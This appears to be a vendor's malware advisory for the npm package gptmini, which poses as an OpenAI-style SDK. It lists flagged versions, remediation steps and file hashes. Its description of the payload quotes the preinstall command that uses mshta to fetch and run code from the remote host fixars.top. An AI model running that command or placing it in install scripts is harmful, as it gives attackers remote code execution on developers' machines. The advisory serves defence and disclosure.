Which versions of gptmini are malicious?

The following npm versions of gptmini are flagged malicious: 4.0.2, 4.0.6. Treat any of these as compromised.

How do I remediate gptmini if I installed it?

Remove gptmini from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed gptmini — how do I know if it already compromised me?

If gptmini was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is gptmini part of a known attack campaign?

Yes — gptmini is associated with the IN-MAL-2026-007659, IN-MAL-2026-007658 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find gptmini across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for gptmini (2 malicious versions).

Malicious package

gptmininpm

Advisory published Jun 26, 2026Updated Jun 26, 2026

gptmini is a confirmed malicious npm package (MAL-2026-6537) that executes malicious code on install (malicious versions 4.0.2, 4.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gptmini (npm)

MAL-2026-6537

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gptmini

What this malware does

On npm install, the package's preinstall lifecycle script (preinstall.js, declared via scripts.preinstall "node preinstall.js") shells out with exec('cmd /c "mshta http://fixars.top"'). This causes Windows to fetch and execute an HTML Application from the remote host fixars.top over plain HTTP at install time with no user interaction, yielding remote code execution on the installer's machine. The package presents itself as a Node.js wrapper for a GPT/OpenAI-style SDK (name gptmini, baseUrl https://api.openllm.ai/v1), with empty author metadata — an AI-SDK-shaped lure paired with an install-time dropper to an attacker-controlled domain unrelated to any documented publisher.

Malicious versions

2 flagged

4.0.24.0.6

Indicators of compromise (SHA-256)

3dec100ae26ee0cca8069caab13d32ed258a12d6494e17495cf7c0f83ec64745

cb05abb3d36b111df4aa8fe044cbf05a431a0778e90d022e1621494c1506a171

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for gptmini (2 malicious versions).
If you installed it — respond
Remove gptmini from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If gptmini was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. gptmini on npm has been identified as a malicious package (versions 4.0.2, 4.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007659IN-MAL-2026-007658

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks gptmini-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database